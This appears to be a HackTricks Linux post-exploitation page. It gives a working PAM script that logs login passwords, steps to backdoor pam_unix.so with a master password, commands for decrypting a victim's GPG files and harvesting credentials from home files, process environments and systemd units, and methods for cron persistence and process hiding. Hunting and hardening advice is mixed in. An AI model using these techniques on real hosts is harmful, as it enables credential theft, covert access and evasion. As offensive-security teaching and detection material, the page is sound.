// HackTricks · Linux

Linux Post-Exploitation

Linux Post-Exploitation

Trojanized System Daemons And Reverse Proxies

Sniffing Logon Passwords with PAM

Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:

Pam Pluggable Authentication Modules

For further details check the original post. This is just a summary:[8]

Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.

Capturing Credentials:

  • A bash script named toomanysecrets.sh is crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to /var/log/toomanysecrets.log.
  • The script is made executable and integrated into the PAM configuration (common-auth) using the pam_exec.so module with options to run quietly and expose the authentication token to the script.
  • The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. This is just a summary:[9]

The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.

Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
    • The line responsible for checking a user’s password calls pam_unix.so.
  2. Modify Source Code:
    • Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
  3. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  4. Testing:
    • Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.

[!TIP] You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

If you find an encrypted .gpg file and a user’s ~/.gnupg folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.[3][4]

Typical errors you’ll see without this: “unsafe ownership on homedir”, “failed to create temporary file”, or “decryption failed: No secret key” (because GPG can’t read/write the original homedir).

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).

High-value user credential artifacts in HOME

Besides shell history and SSH keys, these user files frequently expose reusable credentials and tokens:

  • ~/.git-credentials, ~/.netrc, ~/.npmrc, ~/.pypirc
  • ~/.aws/credentials, ~/.kube/config, ~/.docker/config.json, ~/.config/containers/auth.json
  • Desktop keyrings: ~/.local/share/keyrings/, ~/.kde/share/apps/kwallet/
  • DB/CLI history files: ~/.mysql_history, ~/.psql_history, ~/.sqlite_history

Quick triage:

ls -la ~ | grep -iE 'history|credential|token|key|secret'
ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
   ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null

Harvesting credentials from process environment (containers included)

When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.

Quick wins

  • Dump your current process env: env or printenv
  • Dump another process env: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
    • Add strings -z /proc/<PID>/environ if tr/sed aren’t handy
  • In containers, also check PID 1: tr '\0' '\n' </proc/1/environ

What to look for

  • App secrets and admin creds (for example, Grafana sets GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)[1]
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • Proxy and TLS overrides: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Notes

  • Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
  • In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.[1]

Systemd-stored credentials in unit files (Environment=)

Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:[1][2]

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.

Hardening

  • Move secrets to dedicated secret stores (systemd-ask-password, EnvironmentFile with locked perms, or external secret managers)
  • Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
  • Rotate leaked passwords discovered during tests

Cron-based persistence with loopback mutex

  • Copy implants into multiple writable paths (/tmp, /var/tmp, /dev/shm, /run/lock) and install cron entries such as */5 * * * * /tmp/<bin> so they respawn even if removed elsewhere.[5]
  • Enforce single-instance execution by binding a fixed loopback port (for example, 127.0.0.1:51125 or 127.0.0.1:52225) and exiting if bind() fails; ss -lntp | grep -E '51125|52225' will reveal the mutex listener.
  • Operators may periodically mass-kill any process whose cmdline contains the dropper name (e.g., init_stop), so reusing those names during analysis can collide; pick unique filenames.

Process masquerading via prctl + argv overwrite

  • Set the short process name with prctl(PR_SET_NAME, "<label>") (15-byte comm limit), commonly to init, so /proc/<pid>/status and GUIs show a benign label.[5]
  • Overwrite the in-memory argv[0] buffer after reading /proc/self/cmdline length and the argv[0] pointer, padding with NULs so /proc/<pid>/cmdline and ps also show the fake label.
  • Hunt by comparing Name: in /proc/<pid>/status against the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.

Process-event-driven credential interception with ptrace

A post-root interceptor can subscribe to Linux process events through a netlink connector, select newly executed authentication programs, and attach a tracer only when a target appears. The open-source 3snake implementation traces read/write activity in sshd and sudo; the same pattern can cover su, doas, ssh, ssh-add, passwd, kinit and login, then extract candidate credentials from process memory before encrypting or exfiltrating them. Event-driven attachment is quieter and more reliable than continuously polling /proc.[10][11]

This requires root or suitable tracing capability/policy, a mounted procfs, and working ptrace. A restrictive kernel.yama.ptrace_scope reduces unprivileged tracing but does not protect a host from an interceptor that already has root or CAP_SYS_PTRACE.[10][12]

Hunt for both the process-event subscription and the short-lived attachments. TracerPid is only useful while a target is attached, so audit or eBPF telemetry for ptrace(2) is much stronger than a one-time snapshot.[11][12]

sysctl kernel.yama.ptrace_scope
ss -a -f netlink -p                         # Unexpected process-connector subscribers
for p in /proc/[0-9]*/status; do awk '$1=="TracerPid:" && $2!=0 {print FILENAME, $0}' "$p"; done
sudo auditctl -a always,exit -F arch=b64 -S ptrace -k ptrace_watch
sudo auditctl -a always,exit -F arch=b32 -S ptrace -k ptrace_watch 2>/dev/null
sudo ausearch -k ptrace_watch -i

Prioritize a tracer whose executable path does not match its displayed comm/argv, attaches to several authentication binaries, or runs under a kernel-thread-looking name from a normal user-space ELF.[11]

Hiding a process by masking /proc/<pid>

With mount privileges, an implant can bind-mount another directory over its own /proc/<pid> subtree. Tools that depend on that procfs entry may then fail to resolve the process executable, command line, maps or descriptors even though the task still runs. This can be combined with prctl/argv masquerading without loading a kernel module, but the mask is scoped to the mount namespace in which it was created.[11]

Inspect the current mount namespace first, then every accessible process mount namespace because findmnt alone does not reveal masks isolated elsewhere.[11]

findmnt -rn -o TARGET,SOURCE,FSTYPE | awk '$1 ~ "^/proc/[0-9]+$"'
grep -HEn ' /proc/[0-9]+ ' /proc/[0-9]*/mountinfo 2>/dev/null
for ns in /proc/[0-9]*/ns/mnt; do readlink "$ns"; done 2>/dev/null | sort | uniq -c

A per-PID mount is highly unusual. Correlate it with the namespace owner, readlink /proc/<pid>/exe, cgroup/unit membership and kernel process telemetry before unmounting it for analysis.[11]

Kernel-resident passive backdoors via BPF (BPFDoor-style)

Some Linux backdoors avoid exposing any listening port by attaching a malicious BPF socket filter to a raw or packet socket. The implant stays passive, inspects inbound traffic in the kernel path, and only spawns a bind/reverse shell when a controller sends the correct trigger. This means netstat, ss, and nmap can look normal until activation.[6]

Common tradecraft patterns:

  • Split implant/controller model: the implant only filters traffic and executes the next stage; a separate controller crafts the activation packet and drives the shell.
  • HTTPS-hidden trigger delivery: newer variants can hide the activation bytes inside normal-looking HTTPS requests so the trigger survives reverse proxies, load balancers, and TLS termination paths.
  • Fixed-offset “magic ruler” checks: instead of fully parsing HTTP, the controller pads data so a marker such as 9999 lands at a predictable offset. Rapid7 observed 26-byte rulers with SOCK_DGRAM and 40-byte rulers with SOCK_RAW.
  • ICMP relay/control traffic: compromised hosts can forward commands inside crafted ICMP payloads. A sentinel such as 0xFFFFFFFF can be used as a “final destination / do not forward” marker.
  • Protocol-aware filtering: filtering unusual transports such as SCTP moves the implant closer to telecom signaling traffic instead of normal enterprise TCP services.
  • Masquerading: combine the trapdoor with the prctl/argv[0] process renaming tricks from the previous section and with daemon-looking PID or lock files.

Practical hunt from a live host:[7]

# Raw/packet sockets and attached filters
ss -0pb | egrep -i 'packet|raw'
cat /proc/net/packet

# Map suspicious PIDs to their real executable and cmdline
for p in /proc/[0-9]*; do
  exe=$(readlink "$p/exe" 2>/dev/null)
  cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null)
  [ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"
done | egrep -i 'agetty|smartd|init|dockerd|hpas'

# Common environment markers and deleted/fileless execution
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null

# Mutex / pid artifacts often used to prevent double execution
find /var/run /run -maxdepth 1 -type f \( -name '*.pid' -o -name '*.lock' \) \
  -size 0c -printf '%m %p\n' 2>/dev/null

# Persistence paths worth checking after finding a suspicious PID
grep -RInE 'iptables|bpfd|dockerd|hpas|/dev/shm|/var/tmp|/tmp/' \
  /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null

If the host supports bpftool, also baseline legitimate BPF usage. Unexpected packet filters, raw sockets, or process names that do not match the backing executable are strong post-exploitation signals even when no listening port is visible.[7]

References